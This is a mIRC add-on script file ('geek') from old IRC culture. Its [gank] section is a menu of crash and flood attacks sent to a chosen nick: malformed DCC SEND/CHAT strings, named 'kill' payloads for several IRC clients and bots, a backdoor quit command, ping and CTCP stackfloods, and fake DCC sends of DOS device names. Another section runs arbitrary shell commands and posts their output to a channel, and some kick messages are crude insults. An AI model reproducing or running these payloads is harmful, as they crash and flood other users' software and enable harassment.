;geek.lng mirc language file for use with geek/borg by [x|x]
me .x( gone: %gk.1 )x. [:geek:]  
me .x( back: %gk.1 )x. [:geek:]
away .x( gone: *1 )x. [:geek:] | .timer999 0 600 raw -q pong $me $me
away | .timer999 off
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echo 6 [:geek:] greetz: $chr(35) $+ secretleetcoderzchannel(phearable) special shouts out to: st0rmcat(great apps,great aliases,one of the most underated scripters ever), webba (the dewd is just plain phat,no one can touch his code), Marvin66 (whoc an git with his c-code? nada mang), Liquid_St(ooh feer bitch,you mess wit him yew get shpanked)
[ungeek]
%ver = $remove(%ver,+ [:geek:] 0.1.7se by [x|x])
alias geek | alias gq | alias gmd | alias gasc | alias gchr | alias gc | alias gscrew | alias gslide | alias gk | alias gkb | alias gcls | alias gv | alias guv | alias go | alias gd | alias gi | alias gtalk | alias gchops | alias ghelp | alias gt1 | alias gt2 | alias gt3 | alias gleet | alias gwall | alias gfake | alias gumode | alias gkey | alias gunkey | alias gmark | alias gadd | alias gsub | alias gmulti | alias gdiv
alias gbold | alias gline | alias gm | alias gfver | alias gaway | alias gback | alias gcon | alias gli | alias gwav | unset %gwav | alias gme | alias gset | alias grep
alias gsv | alias gsn | alias gck | alias gn | alias gll | alias glp | alias gzflash | alias gbflash | alias gkflash | alias gfb | alias gmcb | alias gsl | alias gak
unset %gtmp* | unset %tmp* | unset %gk.* | alias gank | unset %answer | alias gx | alias gwin | alias gred
unset %geek.say | unset %geek | alias ungeek | alias f1 | alias f2 | alias f3 | alias f4 | alias f5 | alias f6 | alias f7 | alias f8 | alias f9 | alias f10 | alias f11 | alias f12
echo 6 $active [:geek:] is outta here...unloaded. | halt
[gmd]
set %tmp 1 | :next | set %tmp1 $nick(%tmp,#) | if %tmp1== $null { goto done } | if $right(3,%tmp1) == dcc { msg %tmp1 XDCC LIST } | inc %tmp | goto next | :done
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[gslide]
%tmp1=$len($me) - 1 | %tmp2 = $left(1,$me) | %tmp3 = $right(%tmp1,$me) | %tmp4 = %tmp3 + %tmp2 | nick %tmp4
halt
[keyz]
f1=
f2=.ignore -t *!*@* | echo 6 $active %geek Now ignoring ALL ctcp's
f3=.ignore -tr *!*@* | echo 6 $active %geek Unignoring ALL ctcp's
f4=
f5=
f6=
f7=run command.com
f8=
f9=
f10=
f11=run $mircdir $+ addon\mbind \002:\002
f12=run $mircdir $+ addon\mbind !@#$!@#%
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[gset]
writeini $mircdir $+ addon\geek.lng keyz %gk.1 %gk.2
echo 6 $active %geek hotKey %gk.1 set to: %gk.2
halt
[gank]
if %gk.3 == -na { raw -q privmsg %gk.4 :
A
 | echo 6 $active %geek Sent pre-wsirc14g kill to %gk.4 }
if %gk.3 == -lc { raw -q privmsg %gk.4 :
DCC SEND 1672094985397        -9      -1 150973 150973
 | echo 6 $active %geek Sent Low-level crash exploit to %gk.4 }
if %gk.3 == -ac { raw -q privmsg %gk.4 :
DCC SEND geek.mirc 150973 150973 150973 150973 150973
 | echo 6 $active %geek Sent Advanced crash exploit to %gk.4 }
if %gk.3 == -np { raw -q privmsg %gk.4 :
DCC SEND 1967329452109&kill  -9      -1      -1 -1
 | echo 6 $active %geek Sent Null-process exploit to %geek }
if %gk.3 == -vk { ctcp %gk.4 dcc tsend baboom.hah | echo 6 $active %geek Sent old-virc kill to %gk.4 }
if %gk.3 == -fc { raw -q privmsg %gk.4 :
DCC CHAT foobar 3353362454 19
 | echo 6 $active %geek Sent character generation flood to %gk.4 }
if %gk.3 == -fs { raw -q privmsg %gk.4 :
DCC SEND geek.zip 3353362454 19 1441278
 | echo 6 $active %geek Sent character generation unlimited file to %gk.4 }
if %gk.3 == -lk { raw -q notice %gk.4 :
geek use /SERVER to reconuse /SERVER to conneuse /SERVER to reconuse /SERVER to conne
 | echo 6 $active %geek Sent LiCe-pre1.3pl exploit to %gk.4 }
if %gk.3 == -nc { gnc raw -q privmsg %gk.4 :
FINGER
 
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 | echo 6 $active %geek Sent netcruiser(netcom) kill to %gk.4 }
if %gk.3 == -i0 { invite %gk.4 00 | invite * %gk.4 0 | echo 6 $active %geek Sent invite-null bug to %gk.4 }
if %gk.3 == -ck { ctcp %gk.4 RQUIT | echo 6 $active %geek Sent Chaos.irc backdoor quit to %gk.4 }
if %gk.3 == -do { ctcp %gk.4 DO /quit Local kill by %geek (lamer) | echo 6 $active %geek Sent mirc-do to %gk.4 to quit }
if %gk.3 == -ch { ctcp %gk.4 HAQD ADD $me 99 1 4 | echo 6 $active %geek Sent combot hack to %gk.4 }
if %gk.3 == -pk { run ping -l -t 3000 -w 0 %gk.4 | echo 6 $active %geek Ping flooding %gk.4 }
if %gk.3 == -cu { raw -q notice %gk.4 :
PING 0 1
 | echo 6 $active %geek Attempting to SegFault ctool user %gk.4 }
if %gk.3 == -zg { raw -q privmsg %gk.4 :
DCC CHAT cow 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1
 | echo 6 $active %geek Sent z0g to %gk.4 }
if %gk.3 == -ec { msg %gk.4 whois 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@#^!!!#@$@# | echo 6 $active %geek Sent eggdrop crash to %gk.4 }
if %gk.3 == -uf { raw -q privmsg %gk.4 :
DCC SEND afazia.irc 34231554322 33271 6912
 | echo 6 $active %geek Sent undetectable fake dcc send to %gk.4 }
if %gk.3 == -om { msg %gk.4 $chr(1) $+ DCC SEND COM1 3353362454 19 0 $+ $chr(1) | msg %gk.4 $chr(1) $+ DCC SEND COM2 3353362454 19 0 $+ $chr(1) | msg %gk.4 $chr(1) $+ DCC SEND PRN 3353362454 19 0 $+ $chr(1) | msg %gk.4 $chr(1) $+ DCC SEND SETVERXX 3353362454 19 0 $+ $chr(1) }
if %gk.3 == -pg { .timer 10 1 pong $me %gk.4 | .timer 10 1 pong $me %gk.4 | .timer 10 1 pong $me %gk.4 | .timer 10 1 pong $me %gk.4 | echo 6 $active %geek Sent PONG annoyance to %gk.4 }
if %gk.3 == -m45 { raw -q notice %gk.4 :
mIRC
 KILL | echo 6 $active %geek Sent mIRC 4.5 Kill to %gk.4 }
if %gk.3 == -svf { raw -q $str(50, [ privmsg [ %gk.4 ] : $+ [ $chr(1) ] $+ VERSION $+ [ $chr(1) ] $+ [ $chr(13) ] ] ) | echo 6 $active %geek Sent VERSION stackflood to %gk.4 }
if %gk.3 == -spf { raw -q $str(50, [ privmsg [ %gk.4 ] : $+ [ $chr(1) ] $+ PING $+ [ $chr(1) ] $+ [ $chr(13) ] ] ) | echo 6 $active %geek Sent PING stackflood to %gk.4 }
if %gk.3 == -sxf { raw -q $str(50, [ privmsg [ %gk.4 ] : $+ [ $chr(1) ] $+ XDCC LIST $+ [ $chr(1) ] $+ [ $chr(13) ] ] ) | echo 6 $active %geek Sent XDCC LIST stackflood to %gk.4 }
if %gk.3 == -stf { raw -q $str(50, [ privmsg [ %gk.4 ] : $+ [ $chr(1) ] $+ TROUT $+ [ $chr(1) ] $+ [ $chr(13) ] ] ) | echo 6 $active %geek Sent TROUT stackflood to %gk.4 }
if %gk.3 == -shf { raw -q $str(50, [ privmsg [ %gk.4 ] : $+ [ $chr(1) ] $+ HALIBUT $+ [ $chr(1) ] $+ [ $chr(13) ] ] ) | echo 6 $active %geek Sent HALIBUT stackflood to %gk.4 }
halt
[ghelp]
if %gk.5 == geekz { set %gk.1 $mircdir $+ addon\geek.lng | $read -l11 %gk.1 }
if %gk.5 == fun { play -ctfun $me $mircdir $+ addon $+ \geek.hlp 0 }
if %gk.5 == keys { play -ctkeys $me $mircdir $+ addon\geek.hlp 0 }
if %gk.5 == user { play -ctuser $me $mircdir $+ addon $+ \geek.hlp 0 }
if %gk.5 == war { play -ctannoy $me $mircdir $+ addon $+ \geek.hlp 0 }
if %gk.5 == chan { play -ctchan $me $mircdir $+ addon $+ \geek.hlp 0 }
if %gk.5 == misc { play -ctmisc $me $mircdir $+ addon $+ \geek.hlp 0 }
if %gk.5 == ref { play -ctref $me $mircdir $+ addon $+ \geek.hlp 0 }
if %gk.5 == new { play -ctnew $me $mircdir $+ addon\geek.hlp 0 }
if %gk.5 == url { play -cturl $me $mircdir $+ addon\geek.hlp 0 }
if %gk.5 == ascii { play -ctgchart $me $mircdir $+ addon\geek.lng 0 }
if %gk.5 == $null { play -ctmain $me $mircdir $+ addon $+ \geek.hlp 0 }
halt
[gex]
if %gk.6 == -r { echo 6 $active %geek Executing with NO redirect: %gk.7 | run %gk.7 | halt }
if %gk.6 == -w { echo 6 $active %geek Redirecting: %gk.7 | run command.com /c %gk.7 $+ > $+ $mircdir $+ addon\geek.red | .timer 1 5 gwin }
if %gk.6 == -c { echo 6 $active %geek Redirecting: %gk.7 | run command.com /c %gk.7 $+ > $+ $mircdir $+ addon\geek.red | .timer 1 5 gred }
halt
[gwin]
query %geek | echo 6 %geek %geek exec: %gk.7 | set %gk.8 $mircdir $+ addon\geek.red | set %gk.9 $lines(%gk.8) | set %gk.10 0 | :top | inc %gk.10 | if %gk.10 > %gk.9 { goto end } | set %gk.11 $read -nl $+ %gk.10 %gk.8 | if %gk.11 == $null { goto top } | echo 6 %geek %gk.11 | goto top | :end
halt
[gred]
msg $active %geek exec: %gk.7 | set %gk.8 $mircdir $+ addon\geek.red | set %gk.9 $lines(%gk.8) | set %gk.10 0 | :top | inc %gk.10 | if %gk.10 > %gk.9 { goto end } | set %gk.11 $read -nl $+ %gk.10 %gk.8 | if %gk.11 == $null { goto top } | msg $active %gk.11 | goto top | :end
halt
[gme]
if %gk.6 == sad { me is really sad... ú¿ù }
if %gk.6 == zzz { me going to sleep... /¿\ }
if %gk.6 == bum { me is bummin... -¿- }
if %gk.6 == mad { me is fuxin pissed! ò¿ó }
if %gk.6 == huh { me is perplexed... +¿+ }
if %gk.6 == spy { me is spyin... ¬¿¬ }
if %gk.6 == hrm { me *ponders* >¿< }
if %gk.6 == ??? { me is puzzled... *¿* }
if %gk.6 == smoke { me lites up one... Ò¿Ó }
if %gk.6 == warez { me calls 1-800-PIRACY! ©¿© }
if %gk.6 == high { me is fuxored ð¿ð }
if %gk.6 == wink { me *winks* ô¿~ }
if %gk.6 == hard { me "BOING!" Ô¿Ô }
halt
[gchart]
query %geek
echo 6 %geek %geek ascii chart: Alt+###
echo 6 %geek $str(60,-)
echo 6 %geek 001: $chr(1) 002: $chr(2) 003: $chr(3) 004: $chr(4) 005: $chr(5) 006: $chr(6) 007: $chr(7) 008: $chr(8) 009: $chr(9) 010: $chr(10)
echo 6 %geek 011: $chr(11) 012: $chr(12) 013: $chr(13) 014: $chr(14) 015: $chr(15) 016: $chr(16) 017: $chr(17) 018: $chr(18) 019: $chr(19) 020: $chr(20)
echo 6 %geek 021: $chr(21) 022: $chr(22) 023: $chr(23) 024: $chr(24) 025: $chr(25) 026: $chr(26) 027: $chr(27) 028: $chr(28) 029: $chr(29) 030: $chr(30)
echo 6 %geek 031: $chr(31) 032: S 033: $chr(33) 034: $chr(34) 035: $chr(35) 036: $chr(36) 037: $chr(37) 038: $chr(38) 039: $chr(39) 040: $chr(40)
echo 6 %geek 041: $chr(41) 042: $chr(42) 043: $chr(43) 044: $chr(44) 045: $chr(45) 046: $chr(46) 047: $chr(47) 048: $chr(48) 049: $chr(49) 050: $chr(50)
echo 6 %geek 051: $chr(51) 052: $chr(52) 053: $chr(53) 054: $chr(54) 055: $chr(55) 056: $chr(56) 057: $chr(57) 058: $chr(58) 059: $chr(59) 060: $chr(60)
echo 6 %geek 061: $chr(61) 062: $chr(62) 063: $chr(63) 064: $chr(64) 065: $chr(65) 066: $chr(66) 067: $chr(67) 068: $chr(68) 069: $chr(69) 070: $chr(70)
echo 6 %geek 071: $chr(71) 072: $chr(72) 073: $chr(73) 074: $chr(74) 075: $chr(75) 076: $chr(76) 077: $chr(77) 078: $chr(78) 079: $chr(79) 080: $chr(80)
echo 6 %geek 081: $chr(81) 082: $chr(82) 083: $chr(83) 084: $chr(84) 085: $chr(85) 086: $chr(86) 087: $chr(87) 088: $chr(88) 089: $chr(89) 090: $chr(90)
echo 6 %geek 091: $chr(91) 092: $chr(92) 093: $chr(93) 094: $chr(94) 095: $chr(95) 096: $chr(96) 097: $chr(97) 098: $chr(98) 099: $chr(99) 100: $chr(100)
echo 6 %geek 101: $chr(101) 102: $chr(102) 103: $chr(103) 104: $chr(104) 105: $chr(105) 106: $chr(106) 107: $chr(107) 108: $chr(108) 109: $chr(109) 110: $chr(110)
echo 6 %geek 111: $chr(111) 112: $chr(112) 113: $chr(113) 114: $chr(114) 115: $chr(115) 116: $chr(116) 117: $chr(117) 118: $chr(118) 119: $chr(119) 120: $chr(120)
echo 6 %geek 121: $chr(121) 122: $chr(122) 123: $chr(123) 124: $chr(124) 125: $chr(125) 126: $chr(126) 127: $chr(127) 128: $chr(128) 129: $chr(129) 130: $chr(130)
echo 6 %geek 131: $chr(131) 132: $chr(132) 133: $chr(133) 134: $chr(134) 135: $chr(135) 136: $chr(136) 137: $chr(137) 138: $chr(138) 139: $chr(139) 140: $chr(140)
echo 6 %geek 141: $chr(141) 142: $chr(142) 143: $chr(143) 144: $chr(144) 145: $chr(145) 146: $chr(146) 147: $chr(147) 148: $chr(148) 149: $chr(149) 150: $chr(150)
echo 6 %geek 151: $chr(151) 152: $chr(152) 153: $chr(153) 154: $chr(154) 155: $chr(155) 156: $chr(156) 157: $chr(157) 158: $chr(158) 159: $chr(159) 160: $chr(160)
echo 6 %geek 161: $chr(161) 162: $chr(162) 163: $chr(163) 164: $chr(164) 165: $chr(165) 166: $chr(166) 167: $chr(167) 168: $chr(168) 169: $chr(169) 170: $chr(170)
echo 6 %geek 171: $chr(171) 172: $chr(172) 173: $chr(173) 174: $chr(174) 175: $chr(175) 176: $chr(176) 177: $chr(177) 178: $chr(178) 179: $chr(179) 180: $chr(180)
echo 6 %geek 181: $chr(181) 182: $chr(182) 183: $chr(183) 184: $chr(184) 185: $chr(185) 186: $chr(186) 187: $chr(187) 188: $chr(188) 189: $chr(189) 190: $chr(190)
echo 6 %geek 191: $chr(191) 192: $chr(192) 193: $chr(193) 194: $chr(194) 195: $chr(195) 196: $chr(196) 197: $chr(197) 198: $chr(198) 199: $chr(199) 200: $chr(200)
echo 6 %geek 201: $chr(201) 202: $chr(202) 203: $chr(203) 204: $chr(204) 205: $chr(205) 206: $chr(206) 207: $chr(207) 208: $chr(208) 209: $chr(209) 210: $chr(210)
echo 6 %geek 211: $chr(211) 212: $chr(212) 213: $chr(213) 214: $chr(214) 215: $chr(215) 216: $chr(216) 217: $chr(217) 218: $chr(218) 219: $chr(219) 220: $chr(220)
echo 6 %geek 221: $chr(221) 222: $chr(222) 223: $chr(223) 224: $chr(224) 225: $chr(225) 226: $chr(226) 227: $chr(227) 228: $chr(228) 229: $chr(229) 230: $chr(230)
echo 6 %geek 231: $chr(231) 232: $chr(232) 233: $chr(233) 234: $chr(234) 235: $chr(235) 236: $chr(236) 237: $chr(237) 238: $chr(238) 239: $chr(239) 240: $chr(240)
echo 6 %geek 241: $chr(241) 242: $chr(242) 243: $chr(243) 244: $chr(244) 245: $chr(245) 246: $chr(246) 247: $chr(247) 248: $chr(248) 249: $chr(249) 250: $chr(250)
echo 6 %geek 251: $chr(251) 252: $chr(252) 253: $chr(253) 254" $chr(254) 255: $chr(255)
halt
[gak]
if %gk.3 == nun { me went to church one day to confess for fucking %gk.2 sister. | me opens the curtain of the confessional and see's %gk.2 playin with a lil boy!!! | kick %gk.1 %gk.2 j00 gets nun sick fuck0r- %geek }
if %gk.3 == psi { me concentrates his psionic powers on %gk.2 | me sees %gk.2 try to do the same to $me | say Bzzzzzzzzzzzzt!  *pooof* | kick %gk.1 %gk.2 My head is bigger than yewrz fewl- %geek }
if %gk.3 == bb { me drives to the lane. | me see's %gk.2 try to come up and swat the basketball | me takes it to tha rack. | kick %gk.1 %gk.2 Facial dunk! j00 gets an eyefull of mah saQ- %geek }
halt